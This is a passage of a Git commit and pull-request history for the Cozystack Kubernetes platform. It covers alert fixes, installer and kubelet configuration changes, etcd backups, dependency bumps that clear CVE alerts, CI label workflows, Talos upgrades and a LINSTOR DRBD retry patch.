Replace max_over_time([10m]) == 1 with an instant vector selector and a top-level for: 10m clause. The previous expression fired as long as the metric was non-running at any point in the last 10 minutes; the new expression fires only when the condition is sustained continuously for the full 10-minute window, matching the alert name semantics. Signed-off-by: IvanHunters <xorokhotnikov@gmail.com> |
||
|
Myasnikov Daniil
|
aa72a232e6 |
feat(cozyreport): collect Flux/cert-manager/host context + summary.txt
`hack/cozyreport.sh` now collects materially more signal so a triage artifact can show what is broken rather than just dumping pod logs: - Flux controller logs (helm-controller, source-controller, notification-controller, kustomize-controller, last 2000 lines) - Flux source resources (HelmRepository, OCIRepository, GitRepository, ExternalArtifact) - Decoded Helm storage secrets for non-Ready HRs (`base64 -d | base64 -d | gzip -d`) - Cluster events (all + warning-only filter) - cert-manager Certificate / CertificateRequest / Order / Challenge resources + cert-manager logs - `cozystack-operator` deployment logs (current + previous) - `Application` / `ApplicationDefinition` / `Tenant` resources - Sandbox host context per node: df, free, ps, dmesg, talosctl logs/dmesg/kubelet/containerd New `hack/cozyreport-summary.sh` writes a `summary.txt` at the archive root listing what is broken right now — first thing to read when triaging an artifact. Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com> Assisted-By: Claude <noreply@anthropic.com> |
||
|
Myasnikov Daniil
|
4527320944 |
fix(installer): bootstrap cozy-system via --create-namespace + label hook
The chart used to ship `Namespace cozy-system` directly, which trips a
helm v3 chicken-and-egg whenever the install command uses
`--create-namespace`:
- WITH `--create-namespace`, helm pre-creates the namespace via plain
kubectl-create (no helm meta annotations); the chart's own Namespace
apply then fails with `already exists`.
- WITHOUT `--create-namespace`, helm fails immediately because it
cannot write its release-secret to a non-existent namespace.
The bug was hidden by the 3x retry on the install step in
`.github/workflows/pull-requests.yaml`: attempt 1 fails with the
conflict, attempt 2 sees the failed release and takes the upgrade code
path (patch-merge instead of strict-create). Surfaces cleanly when the
retry is dropped; reproducible on every cold install.
Fix has two pieces:
1. Drop the chart-side `Namespace cozy-system` resource. Install
commands now use the standard `helm upgrade --install --namespace
cozy-system --create-namespace` (matches kube-prometheus-stack /
argo-cd / cert-manager).
2. Add a pre-install/pre-upgrade Job hook (`cozy-system-labeler`) that
patches `cozystack.io/system=true` and
`pod-security.kubernetes.io/enforce=privileged` onto the namespace
so the cozystack-operator pod (hostNetwork=true) is admitted.
The hook runs in `kube-system`, not `cozy-system`. Reason: the operator
pod needs hostNetwork=true (no CNI yet at install time), which violates
PodSecurity baseline. cozy-system therefore needs enforce=privileged
*before* the operator pod is admitted. A labeler pod inside cozy-system
would itself need hostNetwork=true and hit the same admission denial:
pods "cozy-system-labeler-..." is forbidden: violates PodSecurity
"baseline:latest": host namespaces (hostNetwork=true)
Job admission denial means no pod is ever created, .status.failed never
increments and backoffLimit never trips. helm's --wait waits for
Complete=True forever and surfaces only the generic "timed out waiting
for the condition" at its budget.
`kube-system` is PSA-exempt on Talos
(`defaults.exemptions.namespaces` in the apiserver
PodSecurityConfiguration) and unlabeled on vanilla kubeadm/kind/k3s, so
hostNetwork pods are admitted there. The hook's ServiceAccount is bound
to a ClusterRole scoped via `resourceNames: ["cozy-system"]` to the one
target namespace, keeping the cluster permission grant minimal.
`hook-delete-policy: before-hook-creation,hook-succeeded` ensures the
SA, RBAC, and Job are cleaned up after a successful install/upgrade.
Verified end-to-end in CI on the parallel consolidation branch
feat/e2e-optimization (PR #2500): cold install passes admission, the
operator pod comes up, all downstream E2E tests pass.
Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
|
||
|
Arsolitt
|
5786afe8bf |
feat(kubernetes): add kubelet resource reservations for worker nodes (#2420)
**What this PR does**
Adds configurable kubelet resource reservations and eviction thresholds
for tenant cluster worker nodes. Without explicit reservations and
cgroup enforcement, the scheduler treats nearly all node memory and CPU
as allocatable. Under pressure, the OOM killer can target kubelet itself
because no cgroup boundaries protect it, leading to "Kubelet stopped
posting node status" failures and unrecoverable NotReady nodes.
This PR auto-computes per-node-group kubelet reservations from the
effective node capacity (instanceType or explicit `resources`):
- **Memory**: `systemReservedMemory` and `kubeReservedMemory` each
default to 5% of effective memory, clamped 256Mi-1Gi
- **CPU**: `systemReservedCpu` and `kubeReservedCpu` each default to 5%
of effective CPU, clamped 50m-500m
- **Eviction**: configurable `evictionHardMemory` (default 7%) and
`evictionSoftMemory` (default 10%) with validation that hard < soft
- **Disk eviction**: `nodefs.available`, `imagefs.available`, and
`nodefs.inodesFree` thresholds are preserved alongside memory signals
- **Capacity annotations**: cluster-autoscaler annotations now report
allocatable memory and CPU (total minus all reservations and eviction
threshold) instead of raw totals
- **Cgroup enforcement**: `enforce-node-allocatable=pods` configures
advisory-only reservations — the scheduler accounts for reserved
resources when computing allocatable capacity, but no cgroup boundaries
are enforced for system or kube reserved resources
- **Validation**: format checks, zero-value rejection, eviction ordering
(hard < soft), same-unit-type requirement for eviction thresholds, and
total reservation sanity check against effective node capacity
All reservation fields are optional and overridable per node group via
`.nodeGroups[].kubelet`.
**Default rendered kubeletExtraArgs:**
```yaml
kubeletExtraArgs:
system-reserved: "memory=256Mi,cpu=50m"
kube-reserved: "memory=256Mi,cpu=50m"
eviction-hard: "memory.available<7%,nodefs.available<10%,imagefs.available<15%,nodefs.inodesFree<5%"
eviction-soft: "memory.available<10%,nodefs.available<15%,imagefs.available<20%"
eviction-soft-grace-period: "memory.available=1m30s,nodefs.available=1m30s,imagefs.available=1m30s"
eviction-minimum-reclaim: "memory.available=256Mi"
enforce-node-allocatable: "pods"
```
**New values schema:**
```yaml
nodeGroups:
md0:
kubelet:
systemReservedMemory: "" # auto-computed (5% of effective memory, 256Mi-1Gi)
kubeReservedMemory: "" # auto-computed (5% of effective memory, 256Mi-1Gi)
systemReservedCpu: "" # auto-computed (5% of effective CPU, 50m-500m)
kubeReservedCpu: "" # auto-computed (5% of effective CPU, 50m-500m)
evictionHardMemory: "7%" # absolute (e.g. 200Mi) or percentage
evictionSoftMemory: "10%" # must be > evictionHardMemory, same unit type
```
**Release note:**
```
feat(kubernetes): add per-node-group kubelet resource reservations with auto-computed system/kube reserved memory (5% of effective memory, clamped 256Mi-1Gi) and CPU (5% of effective CPU, clamped 50m-500m), configurable memory eviction thresholds, preserved disk eviction signals (nodefs, imagefs, inodesFree), pods-only cgroup enforcement, and reservation-aware allocatable capacity annotations for cluster-autoscaler.
```
|
||
|
Andrei Kvapil
|
b5a1ae57de |
feat(etcd): update operator to v0.4.3 and expose S3 backup schedules (#2428)
## What this PR does
Bumps the vendored `etcd-operator` chart from `v0.4.2` to `v0.4.3` and
wires the new backup machinery through the cozystack `Etcd` app API.
Upstream v0.4.3 ships two new CRDs — `EtcdBackup` (one-shot snapshot)
and `EtcdBackupSchedule` (periodic snapshots) — along with the
`EtcdCluster.spec.bootstrap` restore field, a new `OPERATOR_IMAGE` env
on the operator deployment, and a replacement of the deprecated
`gcr.io/kubebuilder/kube-rbac-proxy` image. The chart portion of this PR
is a clean re-vendor via `make update` — no local patches.
On top of the bump, `packages/extra/etcd` exposes a new optional
`backup.*` values block. When `backup.enabled=true`, the chart renders
an `EtcdBackupSchedule` referencing the platform `EtcdCluster/etcd` and
a `Secret/etcd-s3-creds` with the S3 credentials expected by the
backup-agent. The values field names (`destinationPath`, `endpointURL`,
`s3AccessKey`, `s3SecretKey`, `schedule`) mirror the existing `postgres`
backup pattern for consistency. The chart `fail`s at template render if
any of the four required S3 fields are empty or if `destinationPath` is
malformed (missing `s3://` prefix, `//` segments, no bucket).
Test coverage: 15 `helm-unittest` cases across
`tests/backup-secret_test.yaml` and
`tests/etcd-backup-schedule_test.yaml` (wired into `make test`, picked
up by `hack/helm-unit-tests.sh`), plus three bats cases in
`hack/e2e-apps/etcd.bats` covering the baseline `Etcd` app, the `backup:
{}` default-off path, and the full `backup.enabled=true` case that
verifies the `EtcdBackupSchedule` materializes and the operator
generates the downstream `CronJob`.
`packages/core/platform/sources/etcd-operator.yaml` now sets
`upgradeCRDs: CreateReplace` on the etcd-operator component, so Flux
applies the new CRDs on upgrade of the chart instead of silently
skipping them.
Depends on #2427.
### Scope deferred to follow-ups
- The one-shot `EtcdBackup` CRD is vendored but not exposed through this
chart — users can still hand-apply the CRD directly.
- `EtcdCluster.spec.bootstrap` (restore from an existing snapshot) is
likewise vendored but not exposed. Both gaps are called out in
`packages/extra/etcd/README.md`.
### Release note
```release-note
feat(etcd): update etcd-operator to v0.4.3 and expose S3 backup schedules on the Etcd app. Set `backup.enabled=true` along with `backup.s3AccessKey`, `backup.s3SecretKey`, `backup.destinationPath`, and `backup.endpointURL` to schedule periodic snapshots.
```
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Scheduled S3 backups for etcd clusters (configurable cron, generated
S3 credentials) and restore/init from S3 or PVC via new backup
resources.
* **Tests**
* New end-to-end tests for etcd lifecycle and backup scenarios; added
Helm unit tests for backup templates and validations.
* **Documentation**
* Backup configuration guide and parameter reference added.
* **Chores**
* Operator chart version bump; RBAC, webhooks, and deployment wiring
updated; added chart test target.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
Andrei Kvapil
|
70e507ee5c |
fix(security): bump Go dependencies to clear Dependabot CVE alerts (#2494)
## What this PR does Closes the 25 open Dependabot Go-ecosystem alerts on this repository (2 critical, 11 high, 12 moderate) by bumping the affected dependencies in five Go modules to their latest stable versions. Splits the work into six signed commits, one per logical block, so the diff in each commit can be reviewed in isolation. ### Full advisory coverage | # | Module | Severity | Package | Advisory | Title | Vulnerable | Shipped | |---|---|---|---|---|---|---|---| | 29 | `go.mod` | critical | `google.golang.org/grpc` | [GHSA-p77j-4mvh-x3m3](https://github.com/advisories/GHSA-p77j-4mvh-x3m3) | gRPC-Go authorization bypass via missing leading slash in `:path` | `< 1.79.3` | `1.80.0` | | 28 | `kubevirt-csi-driver/go.mod` | critical | `google.golang.org/grpc` | [GHSA-p77j-4mvh-x3m3](https://github.com/advisories/GHSA-p77j-4mvh-x3m3) | gRPC-Go authorization bypass via missing leading slash in `:path` | `< 1.79.3` | `1.80.0` | | 32 | `go.mod` | high | `go.opentelemetry.io/otel` | [GHSA-mh2q-q3fh-2475](https://github.com/advisories/GHSA-mh2q-q3fh-2475) | Multi-value `baggage` header extraction causes excessive allocations (remote DoS amplification) | `>= 1.36.0, <= 1.40.0` | `1.43.0` | | 31 | `go.mod` | high | `github.com/moby/spdystream` | [GHSA-pc3f-x583-g7j2](https://github.com/advisories/GHSA-pc3f-x583-g7j2) | SpdyStream: DoS on CRI | `<= 0.5.0` | `0.5.1` | | 30 | `go.mod` | high | `go.opentelemetry.io/otel/sdk` | [GHSA-hfvc-g4fc-pqhx](https://github.com/advisories/GHSA-hfvc-g4fc-pqhx) | BSD `kenv` command not using absolute path enables PATH hijacking | `>= 1.15.0, <= 1.42.0` | `1.43.0` | | 27 | `go.mod` | high | `go.opentelemetry.io/otel/sdk` | [GHSA-9h8m-3fm2-qjrq](https://github.com/advisories/GHSA-9h8m-3fm2-qjrq) | OpenTelemetry Go SDK vulnerable to arbitrary code execution via PATH hijacking | `>= 1.21.0, < 1.40.0` | `1.43.0` | | 26 | `kubevirt-csi-driver/go.mod` | high | `github.com/opencontainers/runc` | [GHSA-cgrx-mc8f-2prm](https://github.com/advisories/GHSA-cgrx-mc8f-2prm) | runc container escape and DoS due to arbitrary write gadgets and procfs write redirects | `<= 1.2.7` | `1.4.2` | | 25 | `kubevirt-csi-driver/go.mod` | high | `github.com/opencontainers/runc` | [GHSA-qw9x-cqr3-wc7r](https://github.com/advisories/GHSA-qw9x-cqr3-wc7r) | runc container escape with malicious config due to `/dev/console` mount and related races | `>= 1.0.0-rc3, <= 1.2.7` | `1.4.2` | | 24 | `kubevirt-csi-driver/go.mod` | high | `github.com/opencontainers/runc` | [GHSA-9493-h29p-rfm2](https://github.com/advisories/GHSA-9493-h29p-rfm2) | runc container escape via "masked path" abuse due to mount race conditions | `<= 1.2.7` | `1.4.2` | | 23 | `kubevirt-csi-driver/go.mod` | high | `golang.org/x/oauth2` | [GHSA-6v2p-p543-phr9](https://github.com/advisories/GHSA-6v2p-p543-phr9) | Improper Validation of Syntactic Correctness of Input | `< 0.27.0` | `0.36.0` | | 16 | `kubeovn-webhook/go.mod` | high | `golang.org/x/oauth2` | [GHSA-6v2p-p543-phr9](https://github.com/advisories/GHSA-6v2p-p543-phr9) | Improper Validation of Syntactic Correctness of Input | `< 0.27.0` | `0.36.0` | | 4 | `kubeovn-webhook/go.mod` | high | `golang.org/x/net` | [GHSA-4374-p667-p6c8](https://github.com/advisories/GHSA-4374-p667-p6c8) | HTTP/2 rapid reset can cause excessive work in `net/http` | `< 0.17.0` | `0.53.0` | | 3 | `kubeovn-webhook/go.mod` | high | `golang.org/x/net` | [GHSA-vvpx-j8f3-3w6h](https://github.com/advisories/GHSA-vvpx-j8f3-3w6h) | `golang.org/x/net` vulnerable to Uncontrolled Resource Consumption | `< 0.7.0` | `0.53.0` | | 22 | `kubevirt-csi-driver/go.mod` | medium | `golang.org/x/net` | [GHSA-vvgc-356p-c3xw](https://github.com/advisories/GHSA-vvgc-356p-c3xw) | `golang.org/x/net` vulnerable to Cross-site Scripting | `< 0.38.0` | `0.53.0` | | 21 | `kubevirt-csi-driver/go.mod` | medium | `golang.org/x/net` | [GHSA-qxp5-gwg8-xv66](https://github.com/advisories/GHSA-qxp5-gwg8-xv66) | HTTP Proxy bypass using IPv6 Zone IDs | `< 0.36.0` | `0.53.0` | | 20 | `kubevirt-csi-driver/go.mod` | medium | `github.com/opencontainers/runc` | [GHSA-jfvp-7x6p-h2pv](https://github.com/advisories/GHSA-jfvp-7x6p-h2pv) | runc can be confused to create empty files/directories on the host | `< 1.1.14` | `1.4.2` | | 19 | `go.mod` | medium | `golang.org/x/crypto` | [GHSA-f6x5-jh6r-wrfv](https://github.com/advisories/GHSA-f6x5-jh6r-wrfv) | `golang.org/x/crypto/ssh/agent` vulnerable to panic if message is malformed (OOB read) | `< 0.45.0` | `0.50.0` | | 18 | `go.mod` | medium | `golang.org/x/crypto` | [GHSA-j5w8-q4qc-rx2x](https://github.com/advisories/GHSA-j5w8-q4qc-rx2x) | `golang.org/x/crypto/ssh` allows an attacker to cause unbounded memory consumption | `< 0.45.0` | `0.50.0` | | 14 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` | [GHSA-vvgc-356p-c3xw](https://github.com/advisories/GHSA-vvgc-356p-c3xw) | `golang.org/x/net` vulnerable to Cross-site Scripting | `< 0.38.0` | `0.53.0` | | 11 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` | [GHSA-qxp5-gwg8-xv66](https://github.com/advisories/GHSA-qxp5-gwg8-xv66) | HTTP Proxy bypass using IPv6 Zone IDs | `< 0.36.0` | `0.53.0` | | 9 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` | [GHSA-xrjj-mj9h-534m](https://github.com/advisories/GHSA-xrjj-mj9h-534m) | `golang.org/x/net/http2` vulnerable to possible excessive memory growth | `< 0.4.0` | `0.53.0` | | 8 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` | [GHSA-4v7x-pqxf-cx7m](https://github.com/advisories/GHSA-4v7x-pqxf-cx7m) | `net/http`, `x/net/http2`: close connections when receiving too many headers | `< 0.23.0` | `0.53.0` | | 7 | `kubeovn-webhook/go.mod` | medium | `google.golang.org/protobuf` | [GHSA-8r3f-844c-mc37](https://github.com/advisories/GHSA-8r3f-844c-mc37) | `protojson.Unmarshal` infinite loop on certain forms of invalid JSON | `< 1.33.0` | `1.36.11` | | 6 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` | [GHSA-qppj-fm5r-hxr3](https://github.com/advisories/GHSA-qppj-fm5r-hxr3) | HTTP/2 Stream Cancellation Attack | `< 0.17.0` | `0.53.0` | | 5 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` | [GHSA-2wrh-6pvc-2jm9](https://github.com/advisories/GHSA-2wrh-6pvc-2jm9) | Improper rendering of text nodes in `golang.org/x/net/html` | `< 0.13.0` | `0.53.0` | Sorted by severity (critical → high → medium), then by alert number. The `Module` column lists the manifest path inside the repo (`go.mod` is the root); `Vulnerable` is what GitHub flagged in the original advisory; `Shipped` is the version this PR pins to. ### Modules bumped 1. Root `go.mod` (`github.com/cozystack/cozystack`) — purely transitive bumps for `grpc`, `otel`, `otel/sdk`, `x/crypto`, `spdystream`. 2. `api/apps/v1alpha1/go.mod` — bumps `k8s.io/apimachinery` and `golang.org/x/net`/`x/text` for consistency with the root module's `go 1.26.2` directive. 3. `packages/apps/kubernetes/images/kubevirt-csi-driver/go.mod` — bumps the upstream `kubevirt.io/csi-driver` pin to its latest commit, raises the `k8s.io/*` replace block from `v0.31.4` to `v0.36.0`, bumps `runc` to `v1.4.2`, and adapts `main.go` to the upstream's new builder-style API for `service.NewKubevirtCSIDriver` (the constructor was split into `WithIdentityService` / `WithControllerService` / `WithNodeService`). 4. `packages/system/kubeovn-webhook/images/kubeovn-webhook/go.mod` — direct bumps to `golang.org/x/net`, `golang.org/x/oauth2`, `google.golang.org/protobuf`. 5. `packages/system/dashboard/images/token-proxy/go.mod` — bumps `jwx`, `httprc`, `x/crypto`, `x/sys` for consistency with the root module's directive. All five modules now declare `go 1.26.2`. The three vendored-image Dockerfiles (`kubevirt-csi-driver`, `kubeovn-webhook`, `token-proxy`) move to `golang:1.26{,-alpine}`. ### First-party Dockerfile bumps The root `go.mod` directive jump to `1.26.2` means every Dockerfile that copies the root `go.mod` and builds a cozystack-owned binary needs a matching base image, otherwise the in-container toolchain has to pull `go 1.26` on the fly via `GOTOOLCHAIN=auto` at every build. Eight images are bumped from `golang:1.25-alpine` to `golang:1.26-alpine`: `cozystack-operator`, `cozystack-api`, `cozystack-controller`, `backup-controller`, `backupstrategy-controller`, `flux-plunger`, `kubeovn-plunger`, `lineage-controller-webhook`. Vendored Dockerfiles (`kubevirt-cloud-provider`, `redis-operator`, `keycloak-operator`, `linstor-csi`, `multus-cni`, `objectstorage`, `s3manager`, `kamaji`) are intentionally untouched: each one fetches its source from upstream at build time and pins its `golang:` base image to whatever the upstream commit was tested against. ### Why bump past the advisory minimums Bumping each affected dependency to its latest stable rather than the lowest patched version means we pick up subsequent (non-CVE) bug fixes for free and reduce the number of follow-up Dependabot bumps the next reviewer has to triage. Where this required a cascading bump (e.g. `runc` v1.4.2 only compiles together with `mount-utils` v0.32+, which dropped the deprecated `libcontainer/userns` import path), the cascade was followed through. ### Build verification `go build ./...` and `go vet ./...` are clean across all five modules locally. Two `go vet` warnings in the root module (`pkg/lineage/lineage_test.go:76` unkeyed struct fields, `cmd/cozypkg/cmd/add.go:521` non-constant format string) and three `randfill.Continue` test panics in `pkg/apis/{apps,core}/install` and `pkg/apiserver` also reproduce on `main` and are out of scope for this PR. ### Out of scope The `k8s.io/*` libraries in `kubeovn-webhook/go.mod` are still pinned at `v0.26.0`; they are not flagged by Dependabot and bumping them would be a separate, much larger maintenance change. ### Release note ```release-note fix(security): bump Go dependencies in root, api/apps/v1alpha1, kubevirt-csi-driver, kubeovn-webhook, and token-proxy modules to clear all open Dependabot CVE alerts ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Chores** * Upgraded Go toolchain across components and build stages to 1.26.x. * Updated numerous dependencies for compatibility, stability and security (Kubernetes APIs, gRPC, OpenTelemetry, golang.org/x/*, and related libs). * Several containers now run as a non-root user (UID/GID 65532) to improve runtime security. * **Refactor** * CSI driver initialization refactored to a builder-style pattern enabling conditional service wiring. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Andrei Kvapil
|
9432cdfac8 |
chore(ci): replace Dosu stale and size labeling with native workflows (#2504)
## What this PR does
Replace Dosu's stale-management and PR-size labeling with native GitHub
Actions ahead of disabling the Dosu app on this repo, and migrate the
six `size:*` labels to the canonical `size/*` namespace while we're
rewriting the sizing path.
**Background**: Dosu (the SaaS) currently writes `lifecycle/stale`
lifecycle and `size:*` labels via its bot. Audit of `.github/workflows/`
(full grep) confirmed zero hard dependencies on Dosu's outputs —
`backport*` is human-applied, `release` is auto-applied by `tags.yaml`
itself, and nothing else consumes Dosu-applied labels in any workflow.
### `.github/workflows/stale.yaml` (new)
Daily cron at 04:37 UTC plus manual dispatch. Uses `actions/stale@v10`:
- Stale after 60 days idle: applies `lifecycle/stale`.
- Closes 14 days later, applying `lifecycle/rotten`.
- `remove-stale-when-updated: true` — activity un-stales automatically.
- 100 ops/run.
Issue and PR exempt lists differ on purpose: an accepted issue
(`triage/accepted`) is a known long-tail task, not stale; a held PR
(`do-not-merge/hold`) is paused intentionally.
Priority/security/regression labels protect issues someone explicitly
decided to keep visible.
### `.github/workflows/pr-size.yaml` (new)
Triggers on `opened`, `synchronize`, `reopened` (`pull_request_target`).
Inline `actions/github-script@v7` — no third-party labeler dependency.
Diff-line count with thresholds matching the descriptions in
`.github/labels.yml`:
| label | lines |
|---|---|
| `size/XS` | 0–9 |
| `size/S` | 10–29 |
| `size/M` | 30–99 |
| `size/L` | 100–499 |
| `size/XL` | 500–999 |
| `size/XXL` | 1000+ |
Inline ignore patterns skip:
- vendored Go deps (`vendor/**`)
- kubebuilder/openapi inline generated files
(`zz_generated.{deepcopy,conversion,defaults,openapi}.go`)
- whole code-generated trees: any path under `generated/`, plus
`*.pb.go`
- vendored Helm charts (`packages/system/*/charts/**`)
- lockfiles (`go.sum`, `*.lock`, `*.lockb`)
Concurrency group keyed on PR number with `cancel-in-progress: true`
(latest push wins). `removeLabel` is wrapped in `try/catch` tolerating
404 for races between event payload and execution.
### `size:` → `size/` namespace migration
The legacy `size:X` (colon) form was an artefact of the previous sizing
bot; with that bot being replaced and every other label namespace in the
repo using slashes (`kind/`, `area/`, `priority/`, `triage/`,
`lifecycle/`, `do-not-merge/`, `security/`), `size/` is the consistent
form. Migration via aliases in `labels.yml` — IDs preserved, every
existing labelled PR follows the rename automatically.
The new `pr-size.yaml` emits `size/*` from day 1 and accepts both
prefixes when looking up the previous size label, to handle the brief
window between merge and the next labels-sync run.
### Out of scope (intentional)
- **`lgtm` replacement** — deferred. 33/33 of `lgtm` events in the last
100 PRs come from Dosu; humans never apply it manually. Whether
reviewers actually rely on it is unclear — observe for 7 days
post-Dosu-disable before adding a `pull_request_review`-on-approve
workflow.
- **LLM-based issue auto-classification** (`kind/bug`/`kind/feature` on
inbound issues) — accepted loss; manual triage replaces.
- **Cleanup of `wontfix`/`invalid`** in `labels.yml` — separate cleanup
PR.
### Release note
```release-note
NONE
```
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
- Pull requests now automatically receive size labels (XS, S, M, L, XL,
XXL) based on lines changed.
- Issues and pull requests are automatically marked as stale after 60
days of inactivity and closed 14 days later if still inactive.
* **Chores**
- PR size label namespace updated to a slash-based format (size/...)
while preserving the old names as aliases for backward compatibility.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
Andrei Kvapil
|
e9351a6757 |
fix(tests): increase Bootstrap Talos cluster timeout to 60s (#2431)
## What this PR does The `Bootstrap Talos cluster` step in `hack/e2e-prepare-cluster.bats` wraps `talosctl bootstrap` in `timeout 10 sh -ec 'until talosctl bootstrap ...; do sleep 1; done'`. On a freshly booted Talos node NTP has not yet converged, so `talosctl bootstrap` returns `FailedPrecondition: time is not in sync yet` after ~5-6s. With the 10s outer timeout the embedded `until/sleep 1` loop only completes a single attempt before it is killed, and the E2E job fails during `Prepare environment`. On slower self-hosted runners NTP typically converges before the first attempt. On fast ephemeral runners (Oracle VMs) it does not, producing a consistent flake that only the outer workflow-level 3-attempt retry can paper over. Bump the outer timeout to 60s and the inter-attempt sleep to 2s. This aligns with the other bootstrap gates in the same test (etcd members check at 180s, drain RPC errors at 60s, node registration at 60s) and gives NTP plenty of time to converge. ### Release note ```release-note fix(tests): increase `Bootstrap Talos cluster` timeout in E2E from 10s to 60s to accommodate NTP convergence on fast ephemeral runners. ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Chores** * Enhanced cluster bootstrap process resilience by extending retry mechanisms and adjusting timing intervals to better tolerate transient failures during system initialization. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Andrei Kvapil
|
5ef1500baf |
fix(seaweedfs): pass filer.replicas and s3.replicas to HelmRelease (#2533)
## What this PR does The `filer` and `s3` blocks in the seaweedfs HelmRelease values omitted the `replicas:` field, so user-supplied `.Values.filer.replicas` and `.Values.s3.replicas` were silently ignored and the upstream chart defaults took over. As a second-order effect, the `WorkloadMonitor` resources for `filer` and `s3` (which read the same values) diverged from the actual replica count and could trigger spurious alerts when users set non-default values. This PR mirrors the existing `master` / `volume` / `db` pattern and interpolates `replicas:` into both blocks. Fixes #2531 ### Release note ```release-note fix(seaweedfs): pass filer.replicas and s3.replicas to HelmRelease so user-supplied values take effect ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit ## Release Notes * **Chores** * SeaweedFS deployment configuration now supports configurable replica counts for the filer and s3 components, providing flexible cluster scaling through deployment parameters. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Aleksei Sviridkin
|
8c85e69b50 |
feat(talos): bump Talos to v1.13.0 (#2546)
## What this PR does
Bumps Talos Linux from v1.12.7 to v1.13.0. The v1.13 release line also
contains the kernel fix for CVE-2026-31431 ("Copy Fail").
Refreshes the bundled system extension digests (amdgpu, i915, drbd, zfs)
to their 1.13.0-aligned builds.
Generated via `make update` in `packages/core/talos`.
Stacked on top of #2545. Targets `fix/talos-1.12.7` so the diff shown
here is just the v1.12.7 → v1.13.0 delta.
References:
- https://copy.fail/
-
https://www.siderolabs.com/blog/exploit-fail-cve-2026-31431-copy-fail-barely-scratches-talos-linux
### Release note
```release-note
feat(talos): bump Talos Linux to v1.13.0
```
|
||
|
Andrei Kvapil
|
431eac8daf |
fix(talos): bump Talos to v1.12.7 (CVE-2026-31431) (#2545)
## What this PR does
Bumps Talos Linux from v1.12.6 to v1.12.7, which includes the kernel fix
for CVE-2026-31431 ("Copy Fail") — an unprivileged-to-root local
privilege escalation in the Linux kernel crypto subsystem
(`algif_aead`).
This also refreshes the bundled system extension digests (amd-ucode,
amdgpu, bnx2-bnx2x, i915, intel-ice-firmware, qlogic-firmware, drbd,
zfs) to their 1.12.7-aligned builds.
Generated via `make update` in `packages/core/talos`.
References:
- https://copy.fail/
-
https://www.siderolabs.com/blog/exploit-fail-cve-2026-31431-copy-fail-barely-scratches-talos-linux
### Release note
```release-note
fix(talos): bump Talos Linux to v1.12.7, picking up the kernel fix for CVE-2026-31431 ("Copy Fail")
```
|
||
|
Andrei KvapilandClaude
|
179b603cfc |
feat(talos): bump Talos to v1.13.0
Bumps Talos Linux from v1.12.7 to v1.13.0. The v1.13 release line also
contains the kernel fix for CVE-2026-31431 ("Copy Fail").
Refreshes the bundled system extension digests (amdgpu, i915, drbd, zfs)
to their 1.13.0-aligned builds.
Generated via `make update` in packages/core/talos.
Co-Authored-By: Claude <noreply@anthropic.com>
Signed-off-by: Andrei Kvapil <kvapss@gmail.com>
|
||
|
Andrei KvapilandClaude
|
8549f3b9c3 |
fix(talos): bump Talos to v1.12.7 (CVE-2026-31431)
Bumps Talos Linux from v1.12.6 to v1.12.7, which includes the kernel
fix for CVE-2026-31431 ("Copy Fail") — an unprivileged-to-root local
privilege escalation in the Linux kernel crypto subsystem (algif_aead).
Also refreshes the bundled system extension digests (amd-ucode, amdgpu,
bnx2-bnx2x, i915, intel-ice-firmware, qlogic-firmware, drbd, zfs) to
their 1.12.7-aligned builds.
Generated via `make update` in packages/core/talos.
Co-Authored-By: Claude <noreply@anthropic.com>
Signed-off-by: Andrei Kvapil <kvapss@gmail.com>
|
||
|
Arsolitt
|
59c547eacf |
docs(mongodb): document password rotation behavior on upgrade
Describe the in-place password rotation performed by the Percona operator when upgrading to releases that scope the system users secret per CR. Clarify that consumers of the credentials secret need a pod restart to pick up the new password, custom user secrets are unaffected, and the legacy namespace-shared secret is left orphaned and must be cleaned up manually. Signed-off-by: Arsolitt <arsolitt@gmail.com> |
||
|
Andrei Kvapil
|
6c2dba9b21 |
fix(linstor): retry drbdadm secondary after mkfs on transient EBUSY (#2538)
## What this PR does Adds a fifth piraeus-server patch that retries `drbdadm secondary` after `mkfs` when DRBD reports the device as held open by an external process. ### Problem On Talos (and any system with active block-device probing — udev, multipathd, etc.) the kernel uevent for a freshly-promoted DRBD device causes an external probe to `open()` the device for superblock inspection. If LINSTOR satellite issues `drbdadm secondary` while the probe still holds the fd, DRBD returns `(-12) Device is held open by someone` and aborts initialization with `StorageException: Failed to become secondary again after creating filesystem`. The satellite never reports the final `UpToDate` event to the controller, so the controller view stays in `SyncTarget(N%) / Inconsistent / DELETING` permanently — even though the DRBD kernel state on the satellite is `Established/UpToDate`. This blocks cleanup of orphan PVs in `Released` phase and accumulates with every PVC creation. Observed in production on Talos 1.10 / LINSTOR 1.33.2: 4 occurrences in 24 hours across 3 nodes for different PVCs. Manual recovery requires `drbdadm down/up` on the Primary to force the satellite to re-report state. ### Fix New `secondaryAfterMkfs()` wrapper in `DrbdAdm.java`: - 7 attempts of `drbdadm secondary` with exponential backoff (250 ms → 2 s, capped) - Retry only triggers when stderr contains `Device is held open by someone`; any other failure fails fast as before - Existing `secondary()` contract is unchanged — only `DrbdPrimary.close()` (the post-mkfs demotion path) is rerouted to the new wrapper The retry window covers ~10 s in the worst case, which comfortably exceeds typical probe durations (probes release the fd within milliseconds). ### Related upstream - [LINBIT/linstor-server#268](https://github.com/LINBIT/linstor-server/issues/268) — open since 